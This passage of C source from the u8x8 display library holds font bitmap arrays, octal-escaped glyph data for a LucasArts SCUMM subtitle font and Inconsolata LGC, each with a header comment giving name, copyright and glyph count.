\"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0@`    \\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\6\\17\\11\\11\\11\\15\\7\\17\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376`  `\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\17\\17\\4\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`   `@\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\4\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`  b\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\4\\17\\17\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`   \\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\15\\11\\11\\11\\15\\4\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\374\\376\\42\\42\\16\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`   p\\320\\220\\0\\0\\0\\0\\0\\0\\0\\61;fDDDj\\71\\61\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376@  `\\300\\200\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\10\\17\\17\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\354\\354\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\354\\354\\0\\0\\0\\0\\0\\0\\0\\0\\0 `@@`\\177\\77\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\2\\0\\240`  \\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\12\\1\\1\\13\\16\\14\\10\\0\"\n  \"\\0\\0\\0\\0\\0\\2\\376\\376\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\340\\340@ \\340\\300` \\340\\300\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\17\\17\\10\\0\\17\\17\"\n  \"\\10\\0\\0\\0\\0 \\340\\340@  \\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\17\\17\\10\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`   `\\300\\200\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\340\\340@  `\\300\\200\\0\\0\\0\\0\\0\\0\\0\\200\\377\\377\\204\\10\\10\\14\\7\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\200\\300`  @\\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\3\\7\\14\\10\\10\\204\\377\\377\\200\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\340\\340\\300`  \\340\\300\\0\\0\\0\\0\\0\\0\\0\\10\\17\\17\\10\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\340\\240  @\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\16\\5\\11\\11\\13\\17\\6\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\370\\374  \\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\10\\10\\4\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 \\340\\340 \\0\\0 \\340\\340\\0\\0\\0\\0\\0\\0\\0\\0\\7\\17\\14\\10\\10\\4\\17\\17\\10\\0\"\n  \"\\0\\0\\0\\0\\0 `\\340\\240\\0\\0\\240\\340` \\0\\0\\0\\0\\0\\0\\0\\0\\1\\7\\16\\16\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 `\\340\\240\\0\\0\\240\\340\\340\\240\\0\\0\\0\\240`\\0\\0\\0\\1\\7\\16\\16\\7\\1\\1\\7\\16\"\n  \"\\10\\6\\1\\0\\0  `\\340\\200\\0\\200\\340`  \\0\\0\\0\\0\\0\\10\\10\\14\\16\\3\\1\\3\\16\\14\\10\\10\"\n  \"\\0\\0\\0\\0\\0 `\\340\\240\\0\\0\\0 \\340  \\0\\0\\0\\0\\0 `@Ac>\\34\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\340`  \\240\\340` \\0\\0\\0\\0\\0\\0\\0\\0\\10\\14\\16\\13\\11\\10\\14\\16\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-LucasArts SCUMM   Subtitle   Roman-Medium-R-Normal--16-160-72-72-P-88-ISO10646-1\n  Copyright: Copyright Goatmeal 2013\n  Glyphs: 16/95\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_lucasarts_scumm_subtitle_r_2x2_n[868] U8X8_FONT_SECTION(\"u8x8_font_lucasarts_scumm_subtitle_r_2x2_n\") = \n  \" :\\2\\2\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\330x\\70\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\70\\34\\0\\0\\0\\0\\0\\0\\0\\34\\16\\7\\3\\1\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\360\\70\\14\\4\\4\\4\\14\\70\\360\\300\\0\\0\\0\\0\\0\\1\\7\\16\\30\\20\\20\\20\\30\\16\\7\\1\"\n  \"\\0\\0\\0\\0\\0\\20\\30\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\20\\20\\37\\37\\20\\20\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\30\\14\\4\\4\\204\\314x\\60\\0\\0\\0\\0\\0\\0\\0\\20\\30\\34\\26\\23\\21\\20\\20\\20\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\20\\30\\14\\204\\204\\204\\314x\\60\\0\\0\\0\\0\\0\\0\\0\\4\\14\\30\\20\\20\\20\\31\\17\\6\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300`\\60\\30\\374\\374\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\2\\2\\2\\2\\37\\37\\2\\0\\0\"\n  \"\\0\\0\\0\\0\\0||DDDD\\304\\204\\4\\0\\0\\0\\0\\0\\0\\0\\4\\14\\30\\20\\20\\20\\30\\17\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\370\\314DDD\\314\\230\\20\\0\\0\\0\\0\\0\\0\\0\\7\\17\\30\\20\\20\\20\\30\\17\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\4\\4\\4\\204\\304d\\64\\34\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\60x\\314\\204\\204\\204\\314x\\60\\0\\0\\0\\0\\0\\0\\0\\6\\17\\31\\20\\20\\20\\31\\17\\6\\0\\0\"\n  \"\\0\\0\\0\\0\\0p\\370\\214\\4\\4\\4\\214\\370\\360\\0\\0\\0\\0\\0\\0\\0\\4\\14\\31\\21\\21\\21\\31\\17\\7\\0\\0\"\n  \"\\0\\0\\0\\0\\0``\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\";\n/*\n  Fontname: -FreeType-Inconsolata LGC-Medium-R-Normal--30-300-72-72-P-138-ISO10646-1\n  Copyright: Original Roman version created by Raph Levien using his own tools and FontForge. Copyright 2006 Raph Levien. Hellenisation of the Roman font, by Dimosthenis Kaponis, using FontForge. Hellenic glyphs Copyright 2010-2012 Dimosthenis Kaponis. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Cyrillic glyphs added by MihailJP, using FontForge. Cyrillic glyphs Copyright 2012 MihailJP. Released under the SIL Open Font License, http://scripts.sil.org/OFL.    Some glyphs modified by Greg Omelaenko, using FontForge.\n  Glyphs: 191/658\n  BBX Build Mode: 3\n*/\nconst uint8_t u8x8_font_inr21_2x4_f[14340] U8X8_FONT_SECTION(\"u8x8_font_inr21_2x4_f\") = \n  \" \\377\\2\\4\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\70\\374\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\343\\343\\303\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\370\\0\\0\\0\\374\\374\\370\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\\0\\3\\3\"\n  \"\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\340\\360\\60\\0\\0\\0\\360\\360\\20\\0\\0\\0\\6\\6\\6\\346\\377\\77\\6\\6\\6\\366\\377\"\n  \"\\37\\6\\6\\6\\0\\6\\6\\306\\377\\77\\6\\6\\6\\346\\377\\77\\6\\6\\6\\0\\0\\0\\0\\1\\1\\0\\0\\0\\0\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\60\\374\\374\\374\\60`\\340@\\0\\0\\0\\0\\7\\17\\37\\70\\60\\377\\377\\377`\\340\"\n  \"\\300\\200\\0\\0\\0\\0\\60p`\\300\\300\\377\\377\\377\\340p\\177\\77\\6\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\300\\340\\360\\60\\60\\360\\340\\300\\0\\0\\0\\300\\360p\\20\\0\\3\\7\\17\\14\\14\\17\\207\\343\\370>\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\300\\360|\\36\\7\\1|\\376\\377\\203\\203\\377\\376|\\0\\1\\1\\0\\0\\0\\0\\0\\0\\0\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\300\\340\\340p\\60\\60p\\340\\300\\0\\0\\0\\0\\0\\0\\0\\203\\317\\337x\\360\\360\\234\\37\\17\"\n  \"\\1\\0\\200\\0\\0<\\177\\377\\301\\200\\200\\200\\201\\307\\357~\\70\\374\\357\\307\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\1\\0\\0\\0\\0\\0\\0\\0\\0\\374\\374\\370\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\3\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\60\\70\\34\\10\\0\\0\\0\\0\\0\\0\\360\\376\\377\\7\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\17\\177\\377\\340\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\17\\36\\34\\70\"\n  \"p \\0\\0\\0\\0\\34\\70\\60p\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\3\\37\\376\\370\\200\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\377\\77\\3\\0\\0\\0\\0\\0\\0p\\70\\70\\34\\17\\7\\3\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\30\\30\\30\\60\\60\\240\\377\\377\\240\\60\\60\"\n  \"\\30\\30\\30\\0\\0\\0\\10\\34\\36\\7\\3\\0\\0\\3\\7\\36\\14\\10\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\200\\0\\0\\0\\0\\0\\0\\0``````\\377\\377\\377``\"\n  \"```\\0\\0\\0\\0\\0\\0\\0\\0\\37\\37\\37\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\71\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0``````````\"\n  \"```\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\360\\374\\30\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\370>\\17\\3\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\340\\370>\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\3\\3\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340p\\60\\60\\60`\\340\\300\\0\\0\\0\\0\\374\\377\\377\\1\\0\\200\\300`\\70\\34\\7\"\n  \"\\377\\377\\370\\0\\0\\7\\37\\177\\376\\347\\303\\200\\200\\300\\300\\360\\177\\37\\7\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\300``\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340`\\60\\60\\60\\60p\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\300\\360\"\n  \"\\177\\37\\6\\0\\0\\0\\200\\340\\360\\274\\236\\207\\203\\203\\201\\200\\200\\200\\200\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\1\\0\\0\\0\\0``p\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0````\\360\\370\\337\"\n  \"\\217\\2\\0\\0\\0\\0@\\340\\300\\200\\200\\200\\200\\300\\341\\377\\177\\36\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\360\\360\\0\\0\\0\\0\\0\\0\\200\\300p\\70\\16\\7\\1\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0\\6\\7\\7\\6\\6\\6\\6\\6\\377\\377\\377\\6\\6\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60\\60\\60\\0\\0\\0\\0\\0\\177\\177\\77\\30\\30\\30\\30\\70x\"\n  \"\\360\\340\\200\\0\\0\\0``\\340\\300\\200\\200\\200\\200\\300\\340\\377\\177\\37\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340`p\\60\\60\\60p``\\0\\0\\0\\0\\374\\377\\377q\\60\\30\\30\\30\\70x\"\n  \"\\360\\340\\200\\0\\0\\0\\17\\77\\177\\340\\300\\200\\200\\200\\300\\340\\377\\177\\37\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\60\\60\\60\\60\\260\\360\\360\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\77\\7\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\200\\360\\374\\77\\7\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340p\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\0\\0\\7\\237\\337xp `p\\370\\237\"\n  \"\\217\\3\\0\\0\\0>\\177\\377\\340\\300\\200\\200\\200\\200\\300\\341\\177\\77\\10\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340p\\60\\60\\60p\\340\\300\\200\\0\\0\\0\\0\\37\\177\\377\\340\\300\\200\\200\\200\\300\\300\"\n  \"\\377\\377\\376\\0\\0\\0\\0\\300\\300\\301\\201\\201\\201\\301\\300\\360\\177\\37\\7\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\30<<\\30\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\340\\340\\300\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\60\\71\\17\\7\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\200\\300\\300\\0`\\360\\360\\270\\230\\34\\14\\16\\6\\7\\3\\3\"\n  \"\\1\\1\\0\\0\\0\\0\\0\\1\\3\\3\\7\\6\\16\\14\\30\\70\\60p`\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\\14\"\n  \"\\14\\14\\14\\0\\0\\6\\6\\6\\6\\6\\6\\6\\6\\6\\6\\6\\6\\6\\6\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\300\\300\\200\\200\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\3\\3\\7\\6\\16\\14\\34\\230\"\n  \"\\270\\360\\360`\\0`p\\70\\30\\34\\14\\16\\6\\7\\3\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0 p\\70\\30\\34\\14\\14\\14\\34\\30\\370\\360\\300\\0\\0\\0\\0\\0\\0\\0\\0\\200\\340\\360x\\34\\37\"\n  \"\\17\\3\\0\\0\\0\\0\\0\\0\\0\\0\\303\\343\\343\\300\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\300\\340`p\\60\\60\\60p`\\340\\300\\0\\0\\374\\377\\377\\3\\0\\360\\370\\374\\16\\6\\6\\6\"\n  \"\\377\\377\\377\\0\\3\\37\\77x\\340\\301\\303\\207\\207\\206\\206\\303\\301\\207\\7\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\300\\370\\340\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\200\\360~\\17\\1\\7\\77\\374\\340\"\n  \"\\0\\0\\0\\0\\200\\360\\376\\37\\7\\6\\6\\6\\6\\6\\7\\17\\77\\374\\340\\200\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\1\\1\\1\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\377\\377\\377``````\\360\\370\"\n  \"\\237\\217\\3\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\200\\300\\301\\377\\177>\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340`p\\60\\60\\60p`\\340\\300\\200\\0\\374\\377\\377\\3\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\1\\1\\0\\7\\37\\77x\\340\\300\\300\\200\\200\\200\\300\\300\\340` \\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60p\\340\\340\\300\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\1\"\n  \"\\377\\377\\374\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\300\\340p\\77\\37\\7\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\0\\0\\0\\377\\377\\377````````\"\n  \"`\\0\\0\\0\\0\\377\\377\\377\\200\\200\\200\\200\\200\\200\\200\\200\\200\\200\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\1\\0\\0\\0\\0\\360\\360\\360\\60\\60\\60\\60\\60\\60\\60\\60\\60\\60\\0\\0\\0\\377\\377\\377\\60\\60\\60\\60\\60\\60\\60\"\n  \"\\60\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\0\\200\\300\\340`p\\60\\60\\60p`\\340\\300\\200\\0\\374\\377\\377\\1\\0\\0\\0\\0\\0\\200\\200\"\n  \"\\200\\200\\201\\200\\0\\7\\37\\77x\\340\\300\\300\\200\\200\\201\\201\\301\\377\\377\\177\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\377\\377\\377````````\"\n  \"\\377\\377\\377\\0\\0\\377\\377\\377\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  \"\\1\\1\\1\\0\\0\\0\\60\\60\\60\\60\\360\\360\\360\\60\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\0\\200\\200\\200\\200\\377\\377\\377\\200\\200\\200\\200\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\1\\1\\1\\1\\1\"\n  \"\\1\\0\\0\\0\\0\\0\\0\\0\\0\\60\\60\\60\\60\\360\\360\\360\\60\\60\\60\\0\\0\\0\\0\\0\\0\\0\\0\\0\\0\\377\\377\\377\"\n  \"\\0\\0\\0\\0\\0@\\340\\300\\200\\200\\200\\300\\340\\377\\177\\17\\0\\0\\0\\0\\0\\0\\0\\1\\1\\1\\1\\1\\0\\0\\0\\0\"\n  \"\\0\\0\\0\\0\\0\\360\\360\\360\\0\\0\\0\\0\\0\\200\\300\\340p\\60\\20\\0\\0\\377\\377\\377`p\\370\\336\\217\\3\\1\\0\"\n  \"\\0\\0\\0\\0\\0\\377\\377\\377\\0\\0\\0\\3\\7\\17<x\\360\\300\\200\\0\\0\\1\\1\\1\\0\\0\\0\\0\\0\\0\\0\\0\"\n  